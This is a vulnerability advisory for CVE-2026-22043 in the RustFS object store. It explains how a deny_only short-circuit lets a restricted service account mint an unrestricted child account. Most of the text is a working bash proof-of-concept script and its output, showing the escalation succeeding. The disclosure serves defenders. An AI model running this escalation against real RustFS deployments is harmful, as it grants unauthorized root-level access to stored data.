CVE-2026-22043

Summary

A flawed deny_only short-circuit in RustFS IAM allows a restricted service account or STS credential to self-issue an unrestricted service account, inheriting the parent’s full privileges. This enables privilege escalation and bypass of session/inline policy restrictions.

Details

akin to MinIO CVE-2025-62506

• Policy evaluation: Policy::is_allowed returns true when deny_only=true if no explicit Deny is hit, skipping all Allow checks (crates/policy/src/policy/policy.rs:66-74).
• Service account creation path sets deny_only=true when the target user equals the caller or its parent (rustfs/src/admin/handlers/service_account.rs:114-127).
• Service accounts are created without session_policy by default, so claims lack SESSIONPOLICYNAME; combined with deny_only, self-operations are allowed without Allow statements.
• Result: a limited service account/STS can create a new service account without policy and obtain the parent’s full rights (even root), bypassing original restrictions.

Key code references:

• crates/policy/src/policy/policy.rs (deny_only short-circuit)
• rustfs/src/admin/handlers/service_account.rs: (deny_only set for self/parent target)
• crates/iam/src/sys.rs (service account creation defaults, no session_policy)

PoC

Requires awscli, awscurl, jq, RustFS at http://127.0.0.1:9000, root AK/SK rustfsadmin/rustfsadmin. Run:

#!/usr/bin/env bash
set -euo pipefail
## ===================== Config =====================
ENDPOINT="${ENDPOINT:-http://127.0.0.1:9000}"
ROOT_AK="${ROOT_AK:-rustfsadmin}"
ROOT_SK="${ROOT_SK:-rustfsadmin}"
PARENT_AK="${PARENT_AK:-restricted}"
PARENT_SK="${PARENT_SK:-restricted123}"
CHILD_AK="${CHILD_AK:-evilchild}"
CHILD_SK="${CHILD_SK:-evilchild123}"
AWS_REGION="${AWS_REGION:-us-east-1}"
## Tools
AWSCURL_BIN="${AWSCURL_BIN:-$HOME/Library/Python/3.13/bin/awscurl}"
AWS_BIN="${AWS_BIN:-aws}"
JQ_BIN="${JQ_BIN:-jq}"
## Disable proxies for local endpoint
export HTTP_PROXY=
export HTTPS_PROXY=
export NO_PROXY=127.0.0.1,localhost
## ===================== Helpers =====================
aws_cmd() {
  local ak="$1" sk="$2"
  shift 2
  AWS_ACCESS_KEY_ID="$ak" AWS_SECRET_ACCESS_KEY="$sk" "$AWS_BIN" --endpoint-url "$ENDPOINT" "$@"
}
awscurl_admin() {
  local ak="$1" sk="$2"
  shift 2
  AWS_ACCESS_KEY_ID="$ak" AWS_SECRET_ACCESS_KEY="$sk" \
    "$AWSCURL_BIN" --service s3 --region "$AWS_REGION" --access_key "$ak" --secret_key "$sk" "$@"
}
timestamp_iso() {
  python - <<'PY'
import datetime
print((datetime.datetime.now(datetime.timezone.utc)+datetime.timedelta(hours=1)).isoformat())
PY
}
## ===================== Cleanup =====================
echo "[+] cleanup service accounts (ignore errors)"
for ak in "$CHILD_AK" "$PARENT_AK"; do
  awscurl_admin "$ROOT_AK" "$ROOT_SK" -X DELETE "$ENDPOINT/rustfs/admin/v3/delete-service-accounts?accessKey=$ak" >/dev/null 2>&1 || true
done
echo "[+] cleanup buckets"
for b in bucket1 bucket2 bucket3; do
  aws_cmd "$ROOT_AK" "$ROOT_SK" s3 rb "s3://$b" --force >/dev/null 2>&1 || true
done
## ===================== Setup =====================
echo "[+] create buckets"
for b in bucket1 bucket2 bucket3; do
  aws_cmd "$ROOT_AK" "$ROOT_SK" s3 mb "s3://$b" || true
done
echo "[+] seed bucket3 with marker object"
printf "poc-marker\n" | aws_cmd "$ROOT_AK" "$ROOT_SK" s3 cp - s3://bucket3/poc-marker.txt
EXP="$(timestamp_iso)"
echo "[+] create restricted policy"
RESTRICTED_POLICY='{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": ["s3:ListBucket"],
      "Resource": ["arn:aws:s3:::bucket1", "arn:aws:s3:::bucket2"]
    },
    {
      "Effect": "Allow",
      "Action": ["s3:GetObject", "s3:PutObject"],
      "Resource": ["arn:aws:s3:::bucket1/*", "arn:aws:s3:::bucket2/*"]
    }
  ]
}'
echo "[+] create restricted service account"
awscurl_admin "$ROOT_AK" "$ROOT_SK" -X PUT "$ENDPOINT/rustfs/admin/v3/add-service-accounts" \
  -H 'Content-Type: application/json' \
  -d "$("$JQ_BIN" -nc --arg ak "$PARENT_AK" --arg sk "$PARENT_SK" --arg policy "$RESTRICTED_POLICY" --arg exp "$EXP" \
      '{accessKey:$ak, secretKey:$sk, policy:$policy, name:"restricted-sa", expiration:$exp}')" \
  > /tmp/restricted_sa.json
cat /tmp/restricted_sa.json
echo "[+] list buckets as restricted (expect bucket1,bucket2 only)"
aws_cmd "$PARENT_AK" "$PARENT_SK" s3 ls
echo "[+] create child service account without policy (trigger deny_only)"
awscurl_admin "$PARENT_AK" "$PARENT_SK" -X PUT "$ENDPOINT/rustfs/admin/v3/add-service-accounts" \
  -H 'Content-Type: application/json' \
  -d "$("$JQ_BIN" -nc --arg ak "$CHILD_AK" --arg sk "$CHILD_SK" --arg exp "$EXP" \
      '{accessKey:$ak, secretKey:$sk, name:"child-sa", expiration:$exp}')" \
  > /tmp/child_sa.json
cat /tmp/child_sa.json
echo "[+] child tries to list bucket3 (should be denied; success means vuln)"
if aws_cmd "$CHILD_AK" "$CHILD_SK" s3 ls s3://bucket3; then
  echo "child list bucket3: SUCCESS (vuln)"
else
  echo "child list bucket3: DENIED"
fi
echo "[+] child tries to read marker from bucket3"
if aws_cmd "$CHILD_AK" "$CHILD_SK" s3 cp s3://bucket3/poc-marker.txt /tmp/poc-marker.txt; then
  echo "child read marker: SUCCESS (vuln). Content:"
  cat /tmp/poc-marker.txt
else
  echo "child read marker: DENIED"
fi
echo "[+] child tries to write new object into bucket3"
if printf "child-write\n" | aws_cmd "$CHILD_AK" "$CHILD_SK" s3 cp - s3://bucket3/child-write.txt; then
  echo "child write: SUCCESS (vuln)"
else
  echo "child write: DENIED"
fi

PoC steps (in poc.sh):

1. Cleanup old test accounts/buckets; create bucket1/2/3; seed bucket3 with poc-marker.txt.
2. Create restricted policy (List/Get/Put only on bucket1/2).
3. Create restricted service account restricted/restricted123 with that policy.
4. With restricted, create child service account evilchild/evilchild123 without policy (deny_only short-circuit).
5. With evilchild, list bucket3 and read/write objects (expected to be denied; success demonstrates vuln). Script prints SUCCESS/DENIED.

Result:

./poc.sh
[+] cleanup service accounts (ignore errors)
[+] cleanup buckets
[+] create buckets
make_bucket: bucket1
make_bucket: bucket2
make_bucket: bucket3
[+] seed bucket3 with marker object
[+] create restricted policy
[+] create restricted service account
{"credentials":{"accessKey":"restricted","secretKey":"restricted123","expiration":"2025-12-16T11:51:18.049076Z"}}
[+] list buckets as restricted (expect bucket1,bucket2 only)
2025-12-16 18:51:16 bucket1
2025-12-16 18:51:16 bucket2
[+] create child service account without policy (trigger deny_only)
{"credentials":{"accessKey":"evilchild","secretKey":"evilchild123","expiration":"2025-12-16T11:51:18.049076Z"}}
[+] child tries to list bucket3 (should be denied; success means vuln)
2025-12-16 18:51:17         11 poc-marker.txt
child list bucket3: SUCCESS (vuln)
[+] child tries to read marker from bucket3
download: s3://bucket3/poc-marker.txt to ../../../../../tmp/poc-marker.txt
child read marker: SUCCESS (vuln). Content:
poc-marker
[+] child tries to write new object into bucket3
child write: SUCCESS (vuln)

Impact

Privilege escalation / authorization bypass. Any holder of a restricted service account or STS credential can mint an unrestricted service account and gain parent-level (up to root) access across S3/Admin/KMS operations. High risk to confidentiality and integrity.